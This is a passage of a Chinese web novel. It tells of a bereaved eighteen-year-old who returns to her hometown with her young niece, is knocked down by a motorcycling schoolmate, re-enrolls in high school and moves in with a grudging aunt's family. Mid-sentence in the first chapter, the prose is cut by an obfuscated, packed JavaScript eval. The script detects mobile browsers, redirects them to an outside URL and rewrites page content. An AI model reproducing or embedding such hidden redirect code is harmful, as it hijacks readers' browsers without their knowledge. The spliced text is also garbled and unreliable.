《乱麻里摘花[出租屋]》 1. 哥哥你肚子好硬 从早上五点开始,三小时飞机转四小时高铁,换乘当地机油味浓重的大巴,在铺了薄薄一层沥青实则坑洼不平的烂路上颠三小时。 郑策觉得自己屁股不是坐扁了那么简单,得是没知觉了。 像弹簧失去弹性,她屁股起码工伤二级。 2017年年初爆红一部仙侠古偶,女主角跳下诛仙台和男主角三生纠葛。 大巴司机虽然看着像套马的汉子,但对这类情情爱爱似乎很感兴趣。 整个车程,大巴里都响彻女主角鼻音浓重的夹子音。 关键是他旁边突出的发动机舱上也兴致勃勃盘腿坐了个大胡子,全神贯注盯着手机缓存视频看。 比起关注安全驾驶问题,郑策更关心什么时候被撞死,来个痛快的算了。 三小时的车程,她已经被迫听到小团子开始认娘亲了。 可能是快到了,或者套马汉子的手机连放三小时,快把自己烫死过去。 总算安静了会儿。 郑策偏头靠在窗玻璃上,已经顾不得上面黄色水渍是谁流的哈喇子,她现在脑子像个快吹爆的气球,下一秒就能炸裂。 好像有六七年没回过老家了。 自打爸妈打算去大城市讨生活,又不忍她和姐姐成为留守儿童,遂做出了举家流浪的荒唐决定后。 就再没回来过了。 窗外景色和记忆里的模糊印象渐渐重合。 路边枯树林荒凉连片,因为隔得太远,安静矗立的大烟囱和其上喷出的松软白云都静止了一般,静谧又磅礴。 心里憋着一股劲儿,和外面死寂的风景一样上不去下不来,悬在半空。 她忽然想重重叹一口气。 “凉凉夜色为你……” 一旁许久没有动静的小外甥女忽然开口,一开就是一口炸的。 郑策看都不看,抬手就招呼在了她脸上。 还好巴掌脸,很容易堵严实。 郑策一言难尽诚恳地看着她,“别唱了,求你。” 两只大眼睛在她指缝里扑闪了下,无辜地和她对视。小嘴巴还是坚强地在手掌无情镇压之下补完了下半句:“为你思念成河……” 郑策叹了口气,无奈地朝她笑了下,转过脸时,余光看见什么东西,又猛地转了回去。 脖子发出咔嚓一声脆响。 酸爽…… 但她顾不上感受脖子快被扭断的死亡痛感,眼睛直勾勾盯着小外甥女座椅扶手上的那双脚。 像是感受到灼灼目光,竟然还他妈地搓了搓。 最他妈的烦公共场所没素质的逼人! 江蔚云不动声色地朝郑策这边躲了躲,抬头朝她又是一脸傻笑。 也不知道这姑娘被臭了多久,一路上愣是一言不发,看这样子像是脑子被臭出问题来了。 “臭吗?”郑策笑不出来。 江蔚云认真地皱起小鼻子嗅了嗅,小声道:“有点儿……不过没关系快到了都。” 郑策脑袋没动,斜着眼睛从两椅背的缝隙里回看过去。 斜后方的男人胖的像是刚吞了一头猪,严丝合缝塞在座位上,一脸优哉游哉,曲回一只脚扣了扣。 又放回去。 王八玩意儿。 郑策猛地站起来,这阵仗引得周围醒着的人都看了过来,包括那个抠脚大汉。 男人一脸无所谓也看向她。 一副看淡生死的欠揍模样。 她长得很好看,从小少不了夸赞。此时也刚满十八,为了方便扎着高马尾。 少女特有的清纯和鲜活在黑色棉服的遮掩下是压制不住的。 那人后仰着看她,流氓地吹了吹口哨。 郑策皮笑肉不笑地向抠脚汉子挑了下眉。 今天心情刚巧不太舒爽。 汉子楞了瞬。 “饿了吗?吃水果不?跟我换个座,我给你削橙子,你看看风景。” 郑策根本不给小外甥女回答的机会,不由分说就拎着懵懂中的江蔚云挪到自己座位上。 换好座位,她噌地将水果刀拔出鞘,不在意道。 “我左撇子,怕伤到你。” 江蔚云大概知道小姨妈要干什么。 她可不是什么左撇子啊。 江蔚云朝后看了眼,心中下了结论: 大胖汉子,危。 刀出鞘后被郑策反握着,她并没有忙着削橙子,开始动作浮夸地在袋子里翻找。 “诶你吃完了么?我怎么没看见?” 江蔚云凑过去一眼就看到最上面的橙子,还没来得及配合表演,就听见歘地一声。 布料撕裂的声音。 郑策看都没看,刀尖擦着那人脚踝,将裤脚死死钉在了扶手上。 “操,你,你干嘛呢!” 那人惊疑着要站起来,又是哗啦一声,口子撕裂得更大了。 郑策转头看他。 她很瘦。 面无表情的时候脸上线条利落。瞳孔颜色偏深,半阖着眸子看过去时,胖子都被吓得结巴了下。 而郑策只是说:“不好意思啊,没看到你的脚在我扶手上。” 说完干脆地抽掉水果刀,插回刀鞘。 “难怪呢,一路上老是闻见一股酸臭,以为谁把猪泔水带上车了。这么没素质。” 车上窸窸窣窣响起几声低嘲。 胖子面子挂不住,涨红了脸,“你他妈再说一遍!” 郑策歪着头看着手里的匕首,噌地一下又拔了出来。 从胖子的角度,只能看见她侧脸上大写的不爽,黑睫下的眼神阴翳不明。 说拔刀就拔刀的人,不是他这种窝在沙发上吃垃圾食品企图撑死自己的废物能惹的。 “对不起,对不起爷爷!” 江蔚云忽然开口,“都是我想吃水果,才会误伤到你伸过来又没穿鞋的脚。” 江蔚云反跪在椅子上,从椅背后露出一双大眼睛,一双小手掰着椅背看向他。 谁他妈是爷爷! 胖子烧红了脸,又听见旁边一阿姨劝道: “哎哟这小姑娘懂事又可爱的,快坐好,这样容易摔倒。这件事本来你也不对,各退一步吧。” 小机灵鬼慷慨赠送那阿姨一个甜美的微笑,坐下后又朝郑策眨眨眼。 郑策笑着去揉了揉她的头。 小姑娘嘴也不饶人,毒人于无形啊。 不能跟小孩子计较,何况对方还先认了错。 胖子讪讪把脚收回去,但面子却下不来,还打算拼死一搏。 此时旁边的人懒懒开口:“快到了,劳驾穿上鞋吧。” “你想继承我遗产吗?”他伸了个懒腰,打着哈欠,“这一路差点熏死我。” 胖子正想说我脚又没伸你头上,转过头一下子却没看见人。 只看见敞开的衣领,利落白皙的锁骨,脖子上挂了个银质指环,还有一道浅红色血迹触目惊心。 时机很重要,他楞这一下,再抬头,撞上男人低垂冰冷的目光,语气不太友好,“好看吗?” 气场完全碾压。 码了半天的心理防线瞬间溃散。 操操操。 抠脚胖子自己禁言。 憋屈的胖子可能对自己有什么误解,剩下的路程都尽力缩在自己椅子上,企图离旁边的男人远点。 但很明显,他的体积不太允许。 但是他避之不及的人此时绷着嘴角,严肃地在手机上摁下一连串: 【外婆,我还有一阵儿才到,不用等我吃饭。】 手指顿了下,又点了两个倒霉熊的可爱表情包发过去。 外婆的头像是蓝天下一圈圈的彩色经幡,风里飘扬,自由且虔诚。 消息很快回复。 骆淇的移动城堡:【本来也没想等你。你这么能,一走就是六个月,还差寒舍这口饭啊?】 骆远方连发一摞跪着的小人,敷衍又诚恳地祈求外婆原谅。 不出意外,外婆不想理他。 得,回去还得接着跪。 游仙是个小城镇,客运站修得离主城区天远地远。 所以车辆到站之后,还得再搭车去主城区。 于是等郑策大包小包,还牵着一个洋娃娃模样的小女孩儿下车时,瞬间被一拥而上的黑车司机包围。 “富乐路口,富乐路口去不去?” “去主城区的,上车就走!” “有没有去火车站的,去火车站的!” 一阵呼天抢地扑面而来,熟悉的口音夹杂着塑料普通话,一股子椒盐味儿。 甚至还有几双手贴心地帮忙拿行李,郑策道谢后一愣,“通火车了?” “没有啊,火车站不都修了好几年了嘛,姑娘你外地的?” 那人立马拍胸脯打包票,“坐我的车,绝对不黑,出租车一样打表,良心大大的!” 呸。 自己照镜子看看,这群黑车司机长着一副“不坑你坑得妈都不认识我就是狗”的脸,还好意思谈良心。 信你个鬼。 郑策作为本地人十分了解这些黑车司机宰外地人的架势,就跟饿狼看见流油的肥羊,下车掉一层皮都算轻的。 她拉着江蔚云,凭借记忆中的印象,找到了伪装成面包车的客运站专线公交。 蚂蚁搬家一样收拾好东西,在司机一脸疑惑她是不是东南亚逃难回国的探究眼神中,终于坐上了车。 她才重重地呼出一口气。 她拍了拍江蔚云的脸,半大孩子还没行李箱高,一直寸步不离屁颠屁颠跟着她,也辛苦了。 这下算是彻底回来了。 车要等人坐满了才发动,郑策透过同样糊得快重影的玻璃往外看。 远处山野低丘起伏,将小镇包裹在其中。 这是在平原大都市看不到的。 那儿的人节假日为了爬一座三百米海拔的山都能挤破头皮,开车把山路堵成连连看。 这儿的人却根本不会多分一点心思给这些群山。 面包车车门又开了下,上来一个人,郑策没去看。 但来人裹着呼呼的北风,清冽气息扑了她一脸。 可能是目光还停在山上的缘故,虽然没有嗅觉,她仍然感受到了一瞬山间的凛冽清爽。 只一瞬,在车门关上后便消散了。 来人直接坐到她们身后,兜里手机震了下,再开口接起电话时,郑策听出是大巴上帮自己说话的男生。 “喂,老何……” 电话里瞬间传来河东狮吼,郑策清晰地听见电话里的人咆哮道:“你再喊一个何仙姑试试!” 男生清了清嗓子,尽力想压低声音。 但他嗓音里带着变声期过后特有的厚重和颗粒感,和少年人张扬的个性一样掩饰不住。 “柯老师,怎么样,我回来能去文科班么?” 原来还是个高中生,难怪话里话外懒腔懒调的,却依旧带着一股傲气。 电话里的人冷静了下来,毫不给面子,“你的成绩虽然都不堪入目,但你的脑子学理肯定比文科好啊。这么不想再见到我吗?” “不是……” 骆远方惊叹这个谜一样的女人竟然什么都能扯到自己身上,连忙解释。 但柯言连珠炮一样的输出压根没给他机会。 “不是就最好,你要是现在立马能把朝代表背下来,我就让你转。” 柯言声音里带着自信,音调不自觉又高了起来,这可能是高中老师在班上吼多了的通病吧。 骆远方调成免提,将声音降下几格,打开百度,“那什么,咳咳,夏商,夏商……” 脑子里莫名飘过一个疑问: 苏妲己是谁老婆? 操,现在不是发散思维的时候。 “犹豫就会败北,你小子百度搜索框里,都打好朝代两个字了吧?” 对面依旧一副了如指掌的轻松模样。 …… 骆远方看着搜索框里的朝代两个字陷入沉默。 他忽然感觉自己像怎么也逃不出佛祖手掌的孙悟空。 被人拿捏的感觉真的很不爽。 郑策注意力完全被后座吸引。 有时候看学渣绞尽脑汁也憋不出半个屁真的很好玩。如果这个屁吧,大家都知道,就更好玩了。 憋笑憋得难受,她忽然神经一紧,余光里见到江蔚云上下嘴皮子一碰。 要遭。 下一秒,清亮的童声顺畅地背了出来:“夏商和西周,东周分两段……宋元明清后,王朝至此完。” “啪啪啪。” 电话里传来响亮的掌声,柯言赞道:“小妹妹背得好,骆远方,你看看这才是文科的好苗子!” “老师我以后想读理科。”江蔚云扭过头去想解释,被郑策心虚地掰正。 “啊哈哈哈,理科欢迎你!就是嘛,人文地理那些东西,做起来简单,嘿!就是不得分啊,气死个人……” 骆远方沉默了两秒,将手机调回听筒模式,然后嗯嗯啊啊了半天,应该是妥协了。 背朝代表都比不过三年级小妹妹,他还图什么。 过了一会儿,等座位上差不多坐满了人,司机才恋恋不舍地朝城里开。就跟这客运站是他老情人一样,老是回头看还有没有人要上车的。 面包车破破烂烂摇摇晃晃,一步三回头,也终于上了路。 进主城区后,街道上明显热闹起来,张灯结彩挂着红灯笼迎新年。 刘德华封印了一整年终于解冻,不唱完整个冬天不罢休地在大街小巷恭喜你发财。 在老刘热情的欢迎声中,郑策终于踩在了实地上。 下午三点,冬季的阳光正是温暖的时候,从车内刚出来,眼前被晃出好几块黑金色的阴影。 她抬手在眉间搭了个凉棚,依稀分辨这镇上熟悉又陌生的布局。 但忽然间,有些茫然。 下车的人都有目的性地,朝特定的方向离去。 而她像是被玻璃罩子隔离在了橱窗内,外面的世界都和她一点关系没有。 回来了,但家却没了。 恍惚间,耳边一声刺耳尖叫,郑策混沌的脑子里还想制止江蔚云大吵大闹,就感觉天旋地转。 倒在地上后,她才后知后觉膝盖上的疼痛,还有刚才侧方突然的发力。 根据这力道,方向,角度,还有她在地上翻滚的圈数。 郑策眨眨眼将眼前的黑色斑块都挤走,才钝钝反应过来。 她这是被车撞了啊。 “你没事吧?”一人头带复古款黑色半包头盔从摩托上长腿一跨,朝她这边走来。 边走边往下扯兜在下巴上的黑色防晒面罩,跟打劫的似的。 没事吧? 没事,我吃溜溜梅了。 郑策怒从中来。 “你看呢?我还能再跑一份八百米冲刺。” 那人扶着她的胳膊顿了下,“你……不是本地人吧?” 什么毛病? 郑策瞪他:“外地人撞了不赔钱?” 她眼神飞速扫了下膝盖,血红一片,瞬间有些头晕,“云朵儿,把墨镜给我。” 本来辗转了一整天就头晕脑胀,还出了个车祸。 人生无常,大肠包小肠。 郑策戴上墨镜的时候,心里仿佛有个鼓手在呐喊:他妈的必须逮住这小子偿命! 听声音她知道,是一路都同车的男生,只是此时戴了个半包头盔和变色防风镜,像个讨人嫌的大苍蝇。 大苍蝇自己安全意识倒是挺牢固的,就奔着撞死别人去的呗。 郑策借着他的力站起来,又扫了眼大苍蝇仅露出来的下巴和嘴唇。 靠,还挺帅的。 早知道刚在车上就该转过去搂一眼。 紧接着大苍蝇轻嘲了声,“装逼。” 她又是一顿自我批评,光看个下巴能看出什么来啊,醒醒吧,今天一路风尘仆仆是不是土吃多了,吃傻了。 郑策起身还算利落,但白色裤腿上渗出的血迹都快染透了,骆远方没忍住又问了句废话:“不疼吗?” “疼你背我?” “昂。” “……可以忍。”郑策忽然拧着眉毛盯着他侧脸上一道划痕,“你也受伤了?” 因为离得近,呼出气体的温度在北风里不容忽视地传递到他的皮肤上。 骆远方退后半步。 这认真又迷离的神态,蹒跚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812330|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又迷惑的步伐,骆远方怀疑她中午喝了假酒。 他叹了口气,“送你去医院,我赔。” “你的脸……” 对方还纠结在他脸上快结痂的疤上。 换做平时他肯定不会理,但此时架着伤员耐心解释:“不是刚才弄的,刚就你一人摔了。” …… 被扶到摩托车旁后,郑策大眼瞪他的防风镜。 “坐这个?” 骆远方摊手,“我只有这个,医院不远,两个路口。” “我行李呢,还有个娃。”郑策指向身后一堆逃难物资。 物资中站了个还没行李箱高的小女孩,大概是被吓着了,水汪汪地看着他们。 骆远方深吸了口气,缓缓吐出来。知道错在自己,保持着平静把小孩抱过来,把两人和行李都摆放好了位置。 “等等!”郑策楞了这半晌,看着三人肉夹馍般的位置排列,总算清醒过来,“你打算让我拖着这两个大箱子?” “我拖,我脱把骑摩托。” 骆远方回头看着两个姑娘,一个比一个白嫩,心道今天出门惹到什么玩意儿了,没看黄历。 “我就谨慎点,我拖,你骑慢点。” 腿上伤口蹭到裤子布料一阵刺疼,郑策实在不想走过去。 “看你摩托上不是贴着新手上路嘛。” “那是我弟贴的,他骑的时候用。刚把摩托送过来。” “哦。”郑策拿稳了行李箱,做好出发的准备。 好好好。 于是在谨慎人的督促下,骆远方耐着性子,耗尽这半辈子的耐心,将摩托开出了脚蹬三轮车的即视感。 真是白瞎了他的装备。 “你成年了吧?”谨慎人在后面又问。 “没成年你下去走?”骆远方有些疲倦了。 郑策不想下去,贴心地换了个说辞,“不违法吧?” 骆远方气笑了,“放心,交警来了你先跑,我断后。” “什么态度,是你撞的我吧,不是我撞的车吧?”郑策也有些烦躁。 “小孩儿抓紧我,别出溜下去了,你姐得弄死我。” 骆远方选择转移话题,他待人说话语气一贯如此。说不上针对谁,也不是脾气不好,只是生来一副要债臭脸。 “哥哥你肚子好硬。”江蔚云听话抱紧了他。 然后发出一句暴徒言论。 …… “你是不是有结石?”江蔚云又问。 骆远方不用转头都能感受到后方某人笑得发抖。 他无奈低吼:“那是腹肌!还有,别捏……” 后面的人笑得更狂野了。 从后视镜里能看见郑策的脸,虽然戴了副墨镜,整体的轮廓和神态都一览无余。 下午阳光很好,但暖黄色的光铺在她脸上仍旧遮掩不住有些苍白的唇。 骆远方自己都没察觉地蹙了下眉。 她怎么回来了。 还这副落魄模样。 三人一路被汽车超越,被自行车超越,被收垃圾的三轮车超越。骆远方保持了最后一丝倔强才没被小孩的滑板车超越。 终于在无数人探究的目光里,将人安全地送到了两个路口后的医院。 这两个路口的距离,他感觉自己过了一辈子,停车的时候都半截入土了。 郑策先进医院挂号排队,骆远方秉持好市民的高标准去找车位。 好在医院还没下班,医生看见伤口惯例先啧了一声,非常利索地包扎好。 “没伤到骨头,就是皮肉之痛。” “谢谢大夫。” 这医生文绉绉的表达,让郑策忍住没说郎中之恩,小女子必铭记在心,下楼定按时缴费拿药,同时开具发票,遵纪守法。 在医生叮嘱不要碰水,忌辛辣忌乱七八糟一大堆的事项,还不如说忌活着的时候,她看了眼外面的两人。 骆远方和江蔚云坐在走廊的铁椅上,两个人一言不发。 忽然,骆远方用胳膊肘碰了碰江蔚云,噘着嘴从嘴里哈出一团白气,伸出两根手指在空中虚虚夹着一根烟的模样,挑衅地朝江蔚云抬抬下巴。 江蔚云难以置信地看他一眼,又一脸关心地注视着诊疗室内小姨妈的一举一动。 骆远方有些尴尬,顾自偏头在起雾了的玻璃上哈气画了几朵白云和一个太阳。 看起来非常淡定自如,一点没有肇事者的心虚。 还很幼稚。 他的唇很薄,没有表情的时候显得很严肃。 不说话时周身散发“和我说话就弄你”的氛围,路过的人都绕他们着走。 但她不知道的是,严肃哥内心正波涛汹涌地作斗争。 因为太急,刚忘记摘头盔了,坐下后骆远方纠结了两次要不要摘头盔。 最终都没摘。 怕什么? 怕人家把你认出来? 一不欠钱,二不亏心的,有什么可怕的? 然而头盔还是牢牢地固定在他头上,这使他有些格格不入,在医院里像个异世界来的战士,来补血包那种。 尴尬的处境中,骆远方还是在郑策一边往外走一边穿外套时,注意到她左手手臂上的黑色袖带。 “那是……”他慌张地一把擦掉玻璃上的画,脱口而出。 郑策垂眸看了下,一顿,又继续穿上外套,“少管。” “你走吧,我要去的地方就在医院左边附近。”郑策一瘸一拐去骆远方手里拿行李。 “你这怕快做了个全身检查吧?坑完我就想走?” 骆远方不可置信地看着缴费金额,又抬头看她。 郑策略带心虚一扬下巴,“我被撞得七荤八素的,不得仔细看看?” 言下之意是,敲诈的就是你。 骆远方想起她左臂上的黑色袖带,把肚里的脏字给咽了回去,继续推着行李认栽道:“走吧,我车也停在那边。” 出于警惕,郑策还是在下一个路口接过行李。 道了谢后,不加掩饰打量着大苍蝇,嘴里却对江蔚云说:“云朵儿推上那个箱子我们走。” 云朵儿小跑两步跟上她,“小姨妈,你姨妈会收留我们吗?” “会的,放心吧小孩儿。” 毕竟现在宋熙姨妈是她们的监护人了。 不收留犯法的,遗弃罪。 云朵儿的问题将她从当前的一团乱麻里,扯回了现实的另一团乱麻。 她们从今往后得寄人篱下了。 真他妈操蛋人生。 这边居民区没有刚才下车的地方热闹,但来来往往的还是成群结队的一家人。 过年嘛,团聚嘛。 正常。 她深吸一口气,直到老北风凉沁了内脏,麻痹了神经,憋气直到感受到一丝刺痛,她才缓缓吐出来。 这个时间四处流落真是没谁了。 郑策拍了拍衣服兜里的那张照片。 这是拜谁所赐呢。 千万躲好了。 别让她找到他。 看着两人慢慢远去的背影,头一回被当成犯罪嫌疑人一样提防的骆远方有些哭笑不得。 他转身原路返回,朝医院右边停车场去。 爱谁谁吧,反正安全送到了。 人说不定都不记得小时候的事,就你还在念念不忘。 矫情。 手机响了下,他接起电话,惯性离耳朵远了些。 自打他决定回来重新联系了这些人,每次接的电话都是奔着把他吼聋去的。 “骆远方你个混账玩意儿,一走就是六个月。现在还他妈回来上个屁的学啊!谁也不告诉,饿死你在外头得了。今天放你回去被老太太训,留半条命明晚出来接受组织批斗!” 骆远方正要骂回去,身后有人中气十足地“哎”了声。 他转身,被害者和她的逃难物资站在街灯下,抱着双手靠在一个箱子旁,挑衅地朝他抬了抬下巴。 我……操? 几个意思? 衣角被拉了下,小女孩儿不知道什么时候走到身边,因为海拔不同竟然完全没注意。 江蔚云仰着头,递给骆远方几张创可贴。 “给你。” 2. 同名同姓的帅哥 “……谢谢。”骆远方一愣一愣的,刚接过来,女孩儿转身就跑。 路灯下的人见他收下,压下帽檐,也掉头就走。 非常……潇洒。 “谢谢?”电话里的人怔了瞬,先回答了,“不用谢。” 骆远方翻着白眼将防风镜推上去,单手摘掉头盔。 由于动作过于豪放蹭得眉头那块儿一阵痛,他用手背一揩,伤口又裂了。 “嘶——”他皱眉倒吸一口冷气。 电话那头骂够了,停下问:“怎么了?” “没看路撞着人了,没事,都解决了。” 骆远方想起郑策坑他的天价体检费。 “你解决?”周全说,“那人还活着吗?” “大哥我混是混点,不至于杀人违法。” 骆远方无语,“不过我真差点破相,今天回来的日子不太吉利。” “又怎么了?”周全警惕起来。 “上午过马路一时善心大发,想扶一下老奶奶,妈的,老奶奶练过的。” 骆远方将头盔挂在摩托把手上,越说越气。 “一铁拐李抡我脸上差点破相,眉毛都快薅秃了。” 电话里沉默了两秒,骆远方默契地又拿远了些,紧接着里面传来爆笑,“你对自己臭脸有点数吧,人说不定以为你打劫呢。” 周全忽然想到什么,又道:“诶何仙姑同意你转文科了吗?电话都打我这儿了,让你去见她一面。你他妈知道我毕业了都,收到班主任电话差点吓得尿失禁。” 噗嗤一声,两人一通傻笑。 “怂样,怕个屁。” 说到这儿,骆远方想起被小学鸡完虐的一路,啧了声。 “何仙姑不同意。去他妈的北雁云依,王者荣耀,老子学理去了。见面等过完年吧,何仙姑也是不嫌累,这一趟一趟的。” “人也是为你好。”周全语重心长地说。 “嗯知道。” 郑策拖家带口找到小姨家时,家里没人。 偏巧未来班主任又打电话过来,说下午办转学手续,说怕她这到手的肥羊,不,好苗子飞了,得先抓稳喽。 郑策不是什么肥羊,更可能是烂了根的坏苗,但碍于班主任过于激动,没忍心扫兴。 于是她只得留下江蔚云守在大门口等姨妈他们回来,转头又去了富乐九中。 “真的没问题?”郑策叮嘱江蔚云,“不能乱跑听见没?” “没问题,小姨妈你快去吧!” 郑策走了两步又回头看她,江蔚云蹲在行李堆儿里朝她摆手。 她心里不太是滋味儿,这小家伙也太懂事了。 富乐九中算是游仙比较好的中学。如果她没跟着爸妈出去,多半也在这儿过完高中三年。 学校门口摆了个陈旧的飞机模型,头冲着下坡路,下一秒像是会载着所有人的理想起飞一样。 进门左手边是恒温游泳馆,但学生没什么机会用,都是给外头有两个闲钱的小资本用的。 班主任姓柯,电话里一嗓门就让郑策记忆犹新,和同车的男生应该是一个班的。 开学了见着她不知道会不会惊讶。 钱都坑了…… 柯老师已经等在门口,是个小个子女孩儿,看来等了挺久,像个冻僵的鹌鹑直蹦跶。 学校建筑都涂成红墙,外面看着挺温馨的。 “郑策是吧?”柯老师看起来挺年轻,一头长发,留着大卷儿,眼睛很亮,却没有侵略感。穿一收腰长款羽绒服,简单时尚。 “终于见着面了,这一路还顺利……腿怎么了?” 不知道她问的是退学复读的路,还是回家的路,反正都堵成红温,不太通畅。 郑策干笑了下,“没事不小心磕的。还算顺利吧。” “唉。”柯老师保持着一贯话痨作风,先刷卡让她进闸机。 “Z大啊,说不读就不读了,搞不懂你们现在的孩子。先说好啊,跟我读一年半,你可能连Z大都去不了。” “也不是非要读顶尖大学,就是,就是……” 就是有些看不清路,不知道下一步是什么。 “校长说你可以去清北班,真的来我这大火箭?我反正笑得牙要掉了,你自己权衡好哦。” “决定好了的。” 说实话为什么退学了还要回来读高中,她也不知道。 只记得姨妈说她不能就这样算了,这样自暴自弃她爸妈会在地底下怪姨妈的。 再给她一年半时间想想,真正想要的是什么。读书可以改变命运不假,姨妈也不希望她回来烂在镇上。 柯言大概知道郑策的情况,递给她一包东西,接过话茬: “知道你才到,年都没过好吧。家里买的糖和饼干什么的都给你抓了点。不论怎么说,新年快乐,除旧迎新!” 她挺活泼地又蹦了蹦,“慢慢找吧,合适的路没那么容易找到,这世界上大部人都是将就活着的,你不一样,我一眼就看出来了” 说完还调皮地向她眨眨眼。 虽然不知道她怎么看出来的,但郑策心里忽然像被熨帖平了点儿。 去年年末开始就在为葬礼、退学、转学的事忙活,好像死活不肯懂事的人一瞬间就长大了。郑策接过零食袋子的时候心里痒痒的。 也许这种时候甩她脸上几百大洋更合实际,但一袋子的糖让她想起了自己还是个小孩子的时候。眼角有些酸。 她垂下头低声道了谢。柯言察觉到什么快走两步在前面带路。 柯老师个子不高,走路却雷厉风行,两条腿抡圆了都,走到逸夫楼下的表彰墙前才停下来。 “你看,去年的状元欧阳长乐,一匹黑马,我的学生,气死清北班的老师喽。孩子就是有点闷,希望毕业后能好点。” 也不知道话题怎么就转到状元身上,柯言站在表彰墙前露出欣慰的微笑。 可以看出她的骄傲与有荣焉,眼神里的担心也发自内心。 郑策忽然觉得这个班主任还不错。 她还没进校就看见了欧阳同学的大名横幅飘飘,表彰墙上巨大一颗面无表情的头,如果晚上看见,还真有些惊悚。 她忍住才没当着老师的面拍张照发给欧阳长乐。 估计以后会有很多人拜她,提醒她收着点烟火钱。 柯言带她在空无一人的逸夫楼办完手续后,又化身导游领着她在学校晃荡。 “看见这一排树没?” 柯言大手一挥,郑策差点以为霸总要送鱼塘了。 “都是打架斗殴的学生种的,生机勃勃。” 她十分满意地看着一排鲜绿色,不住摇头。 “还有那块儿石头,违规罚站专用岗。” 郑策顺着柯言手指的方向看过去,只看见一小块儿圆锥体,谁能站稳? 心里为罚站过的同学默念了两遍阿弥陀佛。 一路下来,柯言把学校打架殴斗风景名胜都给介绍了一遍。 她本意可能是想证明校规严格,管束有方。但郑策还是忽然意识到,这个小镇上的学校再出色,相比较之前在大城市的高中,也不一样了。 师资,生源,硬件,毕业去向,完全不同。 那里的人都几乎只会埋头苦读,别说打架,就是吵都懒得费口舌。 心里有些没底。 但转念一想自己也不是来发奋苦读的。空虚的心情像写在沙滩上的字,海浪经过后,瞬间抚平。 又有说不出的难受,没着没落的。 像是不服气。 这种复杂的情绪像一团乱麻,暗无天日地笼着她。 以至于介绍到宿舍区的时候,郑策没什么心情去听。只知道叫风华园,每栋楼的下面三层是半圆形,几栋宿舍楼涂成红边白墙围着一个花园,像到了阿拉伯一样。 当初设计的人是个人才。 小镇这里冬天几乎没有太阳,下午侥幸遇见的暖阳一会儿就被厚厚的云层挡得严严实实,像给整座城市盖上一层棉花被。 南方没有暖气,郑策想起小时候冬天盖上再厚的棉花被,手脚也是僵硬的。 和现在一样。 分开时,郑策还是郑重感谢了柯言过年都不忘帮自己办手续的用心。 柯言摆摆手:“班里还有个新来的复读生,比你棘手多了,这才哪儿到哪儿。” 她顿了下,又说:“郑策,我比你大不了多少,信得过我的话,欢迎找我帮忙。” “好。” 天色渐渐暗下去,空远的群山里传来庙宇的钟声,清灵透彻,笼罩在城市上空。 像从亿万年前传来,亘古不断。 没了阳光,风刮得更肆无忌惮,推背感极强,郑策和北风斗智斗勇,下一秒竟有了上梁山的冲动。 “风在吼,马在叫,黄河在咆哮,黄河在咆……” 她清了清嗓子,四下无人,丝滑切歌,压抑着音调声嘶力竭,“大河向东流啊,天上的星星参北斗啊……” 在寒风里郑策将自己抱紧了些,莫名其妙一阵发疯,心里竟有些……爽快。 直到她被冻出无人匹敌的颤音,再加快振幅就能和海豚同频才闭麦。 到姨妈家门口时,她看见门口的行李竟然一动没动。 心底忽然像蒙着一层油纸,呼吸不畅的感觉又顺着北风侵入毛孔。 莫名而来的热血瞬间被兜头冰水浇下,速度快到几乎没有灭火时“唰”的一声响。 屋内的灯开着,应该是有人回来了。 但没人帮忙拿行李。 她站在原地就这样看着两个箱子和几个袋子发呆。 此时,门开了一条缝,江蔚云裹着厚重的棉衣抱上一个布袋子就要往里走,忽然余光看见郑策,眼睛瞬间亮了。 “小姨妈!“她笑着喊了声,又有些愧疚道,“我太饿了,跟着他们吃了饭,没等你,也没搬完东西……” “饿一天了吧。” 郑策弯腰刮了下她鼻头,“走,陪我进去打声招呼,我们一起来搬。” 进院子后,推开房门便被一股浓厚的劣质烟味儿呛了一鼻子,郑策打招呼:“姨妈姨父过年好,我回来了。” 厨房的水声停下,姨妈伸着两只湿漉漉的手走过来,笑着答:“到了就好,云朵儿说你办入学手续去了,还顺利吧?” 云朵儿像个小企鹅贴在郑策面前站着,郑策垂手就能捏住她的脸,轻揉了揉,“顺利的,姨妈我来帮忙吧。” “诶不用不用,两父子一回来就闹饿,没等你,饭在桌上,你看冷了没。” 这时沙发那边才有团东西动了动,从椅背侧面探出一颗小脑袋。 看样子是和江蔚云差不多大的男孩儿,好奇又小心地看着她们。 小脑袋上面又慢悠悠伸出一个男人的头,略微瘦削,颊侧凹陷,嘴角还叼着一根烟冷笑道: “今天出去走亲戚累了一天,实在不行了,行李自己能搬得动吧小策?屋里没空当,先放院子里的车篷里吧。” 宋熙看了眼他没说话,讪讪笑道:“就是辛苦孩子了,我洗完了帮你搬,先吃饭吧。” “没事,没几件,一会儿就搬完了。” 郑策往嘴里巴拉冷饭的时候根本没心情去热一下。 寄人篱下总想尽力缩小自己的存在感,特别在她姨父态度还阴晴不定的情况下。 她吃得很快,没尝出味儿来,姨妈做了牛肉烧麦,但在这种气温下,牛油已经凝结成白色固状物。 郑策莫名想起以前吃饭吃很慢时,妈妈唠叨她就是吃冷饭的命。 现在好像真的应验了。 “呵,小策出去几年,回来都是过客口音了啊。”韩忠夏在沙发上吞云吐雾,压根不避着自己儿子。 他朝餐桌看了眼,“吃饭也斯斯文文的,讲究。” 妈妈在世时经常和姨妈聊韩忠夏的事,偶尔也会给姨妈拿钱,让她独立点,别处处受制于人。 韩忠夏知道妈妈在背后对他的评价,所以对郑策和江蔚云的到来明显不爽。 郑策没理他。 装聋。 不和这种人掰扯便是最理智的事。 吃完饭后,还是她和江蔚云两个人搬的行李。因为姨妈忙完了洗碗,小儿子又吵着要吃水果。 大概收拾完毕,韩忠夏和宋熙才去车库看了眼。 宋熙自始至终脸上都是一副便秘的身不由己模样,“小策啊,家里地方不够,你和云朵儿可能得在车库里睡一阵儿了,这床铺我新铺的,晚上把帘子放下也就不冷了。” “好的姨妈,我们俩就住这儿。” 